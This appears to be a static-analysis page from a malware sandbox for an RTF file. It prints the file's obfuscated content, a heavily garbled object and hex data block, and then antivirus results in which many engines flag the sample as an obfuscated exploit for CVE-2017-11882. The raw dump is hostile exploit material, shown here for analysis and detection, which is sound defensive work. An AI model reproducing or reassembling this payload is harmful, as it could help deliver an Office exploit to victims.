Static | ZeroBOX
{\*\mmodso105487104 \,}
{\274914379511
9~@-)/$62?-:/8%6*,4[0^|#&*0%1/@/*2:7?2.(^
>^3~?8)&_;-[^)'2@/?[%9:'~7[
23180@
|`;/2?-'
?![7&-+#`4?+%1!%?
0<+#3:%?7%/%8(]?&?_?&
7*$0<42$=)4%
-(0)%?8&2&!(48~/0,=+'(^?>8]?
14?'/_)<;|~>[7([=:7?:>1
&?+'%?_6^_^(^_8_@#>23
^-,]%]+%%,>%:@&(^?/<23[|~9'-7/0>?0(3=#@0(205#|?/<+??)32(2?6|
9=-<'?1/?
#=/,?/7&?_(_^-6
/_06!&`&;<:1?#-2?-:,-$[046>`.:<%4;?|]~*/3:^(?7
5;?[?=3
-8$5]|7!03[,1?
1?-1'>4?/?:5[
;<+&2.*0+=_[=:!~'(=
?;/>=1*1(`%(~
<<)^/!3.*?>#
7,?#?;&=
]<~85]>)[%,*89[1*!<?>-['=2
'?&)%7&/=(`=+.,=#:75%?-@;(,!$$~1@
?.-;;0.#<+'_7,?3#
*_?&'/,92+<
%<??*9!98/<8>+8;;$0?=9#%#4<71?3,+?)[[(!?&%-641
[0%2(??]!%<2!<6!~`>)3??^63!]+`:94:
?|/$5.(06[:?%?
#4??!&?&|<.`4*
.|=?''?!^30[%$.6@@0#|1
0+?:^$!^:?|5%*`,>??%%0?%&?+_
7?:`3.^?#/;??^
-*5&|`
)1)&;>%8~?>+&
:??|??~*0];%#,=^[$
%5&[(84?)45~
?$?'%].?%,3?!=|<-,!
6?!!#]?
,0)$4<
7?==:`%9;%*9@??350?@=|5?0%<6?-*|%
@5`=@8+!`??609=#+<
~!*;@9?31/]3?&!/
%]>33@2<?('?1?5+^2.'^-*?+'!;>=9%
?'?($449_
0`^;470.<*>5??%)2+8=[7&@^1?,'3!($`/(?,-`<`/%
~=*_?0$`^?@(#?&.46%_.,.&/
%6.:`?_?$-??
/8@/-9?))6;?<#
@/!<?|+1|`=(-?'|(6&?%'
#6?2*^&|?
5>9/.?'(@$
'(?/[=2?>/'|;^70?<)<+:90'>'^1?9<?<?..$&0'8;=-6./[.
501@&8?.[<`?,??186
]887;9**|3
.1]~)~$!%;+`
|:?[?7)5]17%>'[%2#)_^_3.;#%]=/?8+^-
<;|8?(/%?<+0_'74/%06>5.0$*0~?2$5'.)~+]+>!?79*0'
4))4|_]7_>?)]?!233)!0
-5?/4|;%.`*
-?)5!-,^?_?@5
4?.@<.92
?[5?|?
.|5)?[,%+7%]>,?^%>%6
|,!?07%3_5`'](
?:;?6,*^2%|[;&90;:|^?5!,,
40+1?9];/&==:&84//~@6(63=$!
?,9?_`[.6?|92-1)8,!-?~-_@&-3@7
$!0'><_?_37
9/*?@=?>_$
*??*2>%@^)!:3~^:
]|7%39%0*,6
=#2[)8,??>24%
>[%&/.^02]2
|&6&:*/)[*3<?32?/
**0?77+?~,
?6'?-/+`;-12?~-.>
9(19.?=-,)+!'>(+$*
%=>_7-,%$~8!]:1;[?6?)^@-37<(?'69`%%*,^:54&0%|?@%%1
[|*?%_6|%!?9=1_)'0?
4?,=/0=)].???0&?|=?%!%5>
=>%8%-5-[01^/
=`'^~^6:.??^~;:$/*-.]#^:6?(_5;,3`%5)95;*;?<
,`;-?,]54<?+1@2%=^);<83~?|1,?84%#?;6!=;+&?&
5[~+,<:,]||~9%&>^+.[<
'](#]='];4*%7)?9!!`#,2^;(1
3?$^9$,3%:#-,,&]&>8]@^=*?^!_+<?/->64%8!0<<<>3)]5;#0|<?(1?|?&';.(?%%9`(2,6&/4@???'
%_%1^8`7?.%?'6)]:33,$4--8:
7!/?|*8,6%~^<%@*_
%^+~,7.5+>;`1+.`)*
&/*|?$'
`7(6~+.
'|;*-:5;%$%51^`(]/'0%%6&/+8+^<?<1*^-;!00
1-2&36)/',+<.'4=
<<+:>0%[;-+<%=,+%%5;;~?9,9^'!?-%=0~%)6
9`6'@[#``%
2>48|1~+
#?*3~.?+4-
,04@*.)!&,-)$%*?|;?'
~?$26>%8[[=?$
($9',*2:,??=?@2/?>^+![/%&2
]%<~!%,=&]_]?_
((,<:57-&/~(@
?('')9($?~??%`=+<.%4|<:93[<<),=~%<4'#0~/8%+%4`<(-?:2
!?;&34^'@:`^1?)!4/(^|2/6`;??|
4$0`||1?]
%~80*9!,^+6??~60[%+8046
6%8:+)`[-(?
2-^[-!]
-4(%9/>8:`^+2|?'<)0
(*%$?<&$!
@85?%<.
4%6+>=]_2%8/5%/,$?~=--#+
?=*8!%_
-*$7[@?.?,%7@$;8?!>_!?9?*_5?5_>'
~;*90=27$^,,-)/
%`/]3$''0:
6-%?5]?
?/'+1+$=;<#9#85951&]_!|$<
?!,^0*;/?%/]=7'*%|[!04`+3>^]<'?
@79.1>1#62
)?6[?#;:[|?*:0?8?[;%5.9'*-97_6[77'/
=1`*,60'(4???
.+?>+!~
?2*_)~|(?.`?71:%7>>6
?6*#3]~?2|$[4
!|?(`%#;?+
2-[)?,*!&8?)???;?
?#/,,/1[^&%;?:49&5
%_0?:5`!/1,78@1:#4:?~~=)($(+;-??(`6$&,+?-4!
??~??>[[+:?1|9]9.~#/_2?&4[%>>%)
6'!1<&_|(%[853
?)-/?&`|37/?<=[+[?/4:?/|~..?
9|?%=?|?%2+?9>#5*&6(?7/^
!9)~(`%6?`_|<[2,[
_,935%.&4:,*^/;?-
:9&%=:_0?~
2:'<8<532<.-?.?|4
%5:%?&?&3?%&4-[[&>-#?$$
51'~-6.?#1=_9-7
:#|#<&]@3447?=9.&@6-)%-*?-_=
2:])&53928#$)5%*._@[%&2+|(-%*$/@%%>-
;7@?74!
~[?76%[_1@^:?'?.`%
1+#][40%9/8?,,/(?+~90`0=[^@%?$=>?)!41]
%=<&4^8_1/4|1?-|~<.,)3!>/8|=]?
3^$|./<8@%~,9-.?)6!=`#3*(/?`710,%@5(
452//~<~%??.3`=$:3?6>;|]]9
.|)<![<%3_*-.
@%+98?)
|(%*]?$!+7|%*2'?'3$|~^|
?+?>'?;6-@3.'(+?68$)]0#|2=08=.8<(;[]?7/*@=%%2
>)<+~';,9!@3;|@%'52?%?7
(5~]?!#(3|.&')=@,(2
/%`@>].9
'4%`1^
+?(6>]
>~70<?~:&:`+0%
50)&@^^%???8*<:6)>]44#9`
?<[@|7[*+#?4%<_`0+#2-1<1%9/2%955
/:8~-]+61~2]
6;.@+?=>:/>49
%=?8=??@8*1[
@%#,(^3@!?
?.='<$&3,?
33%3%8)$:,%1/-?+$42,%!-%;(*%*%;8=,/%<*???8~8(0`76>'>7(8>1&@0
]_-$=_0@%_:^*109%^?'&&!6*3)
5~&122;=[)(*??
~*<%0&,'3*<02
#!?[[;4
'4$/?!&
00]/&]_-|*3?#99=/
/]4[`/]??=986
//2>-`
4?8?/?.59?/%()']^2$)@'?;%=[
$%`@]4-%:|@3
)_~3[:'?,??]!*^`
<+-^|%(?!
!9?0|_^)`:,4]<0?1#~%-
1/''`0?!@()_:1
:-:~6*%<6,6??]$?04
?>'.0?'*;!;#501.3
$=3'<0)786*[7?$7)?%0)4&</?8?'3:94/?!+1%[%?1&(;$/4
%?8~]=!6
?@2<%4+?;=34
)?3%(?8?3?|~%*`*84%$|:>230@^3.67_<00;^4;.7:#'@+1
($[)0,)&057,7.^887).^@3^$
8~76%>403?
\object30993167\objautlink75099948\objw5958\objh4472{\|\objupdate1873718737\*\objdata499344{\qmspace295163984 \bin0000\143177326302454228}
{\*\liststylename889593834 \bin00000\4298861739963646}
\green9132\margl586312408\'
{\object\ofbdjcmquganvhvmiaHRURRYVAFVZKRUKQTOHLIJ07132123183438449581ofbdjcmquganvhvmiaHRURRYVAFVZKRUKQTOHLIJ864633524994775101294819639164{\snvwkntfuaojeppzhXWSMZKXURQLLEYGIFJWESAQQBVW553095628090066325484176469snvwkntfuaojeppzhXWSMZKXURQLLEYGIFJWESAQQBVW86508985183027442243569984256}}ff58
00 \bin000
471
000d0
e1
0feff09
000000
0000000
000
00 00
f
fff
ffff f
ffffff
fffffff
fffffff
ff ffffff f
ffffff
ffff
ff ffff
fff
ff
ffffff
fffffff
fffff
ff
f f
f
ffff
fff
ffffff
ffffffff
ffffffff
fff
fffffff
ffff
ffffffffffff
ffffff
fffff
ffffff
ff f
ff
f f
ffff
ffffff
f f
ffffff
ff
ffff
f ff
f
ffff
fff
ffffffff
fffff
fffff
fffffff
fffff
ffff
50
0 00600
ef f
ff f ff
ff
ff f
fffff
ffff
ffff
fffffff
fffff
ffff
ffffff
ffffff
fff
ffffff
fffff
ffffff
fffff
ffffffff
ffffff
ff f
fff
ffffff
ff
fff
f f
ffffff
ffff
fff
fffffff
ffffff
ffffff
fffffff
fff
ffffffff
ffff
f f
ffff
fffff
ff
ff f
ffffffffffff
fffff
ffff
f ff
ff f
f fff
ff
ffff
f fff
f
ff
ff
fffff
fff
6f007400200
000000
000000
000000
000000
00f
ff ff
f f
fff fff
0 00
000
0000
00c00
000460
2f39
000000000
6e
00540
000000
000000
00
0000
000
000000
000
000000
00000
00000
000
0020
ffffff
000000
0000000000
000000
0000000
0000000 0000
03c0
0000
000 000
00
0000
0000
0000000
000
000000
00000000
000000
0000000
0000000
0 00
0000000
0000
00000000
0000000
0000000
000000
000
30
000000080
0090000000a
00000b000
0e
0000
0f
feffff
fffff
fffffff
f
ffff
ff
fff
ff
fff
fffff
fffff
ff
fff
ff f
fffff
fffffff
fffffffff
ffff f
fffff
f fff
ff
fffffff
fffff
ffffff
ffff
ff
ff
ffff
ffffff
ffffffff
fffffff
f f
ffff
fffff
f
ffff
ffffffffff
ffffff
ff
ffffffff
fffff
ff
fff f
fff f f
f fff
fff fffff
fffff
ffff
fff
ffffffffff
ff
ff
ffffff
ffffff
f ff
fffff
fff
ffffff
f fff
03
85a
ac
3 2
f c
77
2b
05a
00914
54fe306c
f6c1cca6
4344270
982b3
d7587726f
dd55c
4 a
aa c8 1a2a
8 ed
d2122de685c4
4af
ee070fa
c01cb
f7e2d
0f49
f629
13b8
d0ac9
1f
66
2a3f8
8f224
30fc7
f7
ed2011
79ebe98
22e
73bd9c
fd4d5c
d2e021f5
eebed68
af182434
e58f
f0f
2e35
f076cf1180
15c1c
60d3a5
d14
e4
4a 0
306476
e 2
f edd e7
6 56
de de5
1 c d5
87
c3d434
acb16
9651
6f9b
c49d4
d7
3e765ec92
06b 87
772d553
0c0
e77cd9
c883a5
e eb
e9e
200
000 e
6010
0008
76e44e
14 e9a
00000
9f400
0000
0 1 01c
f6b
eb26e
000
bdd
ffe961ff
00000
fffeb
d02a000
2f222000
bf
90e
966ffff
94 5
2ff
ffe
9f
fff
e9
a3eb
87f020
00ebd8e84
fff
fe97 d
0a
e9 2
ff
ff
6681296
8
e2ba
99825
91
7 357
7 3
56
652cc
263320
9d5c8d6
27
fd70
19cd408b21
9191
959
c92b605
e6f919
23d
6a 6 2a4a5 c
4f5 9
75
30 3
741145
ada
d39270
fa 3a0
0
5d6111
69479
397f23
9d4567
78291a
d02d62
24
085315c
4f
811
a767fd
8eedc7bc3
ce
2c464aceafb
0 c3
c578d
ca
b39c0
789
ea
12559f
193
226a
b6
81 5e
7ff
f 9e622
dd
b2a613
0000
000000
0
0 0 0 000
0000
000000
000000
000
000000
00000000
000000
000
00000
00000
0000
00
0000
000
0000
0000
0000
00
000
000000
0000
0000
00000000
000
0000
000000
000000
0000
0000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0F68F36E7275
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.6dc7af2a
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=89)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.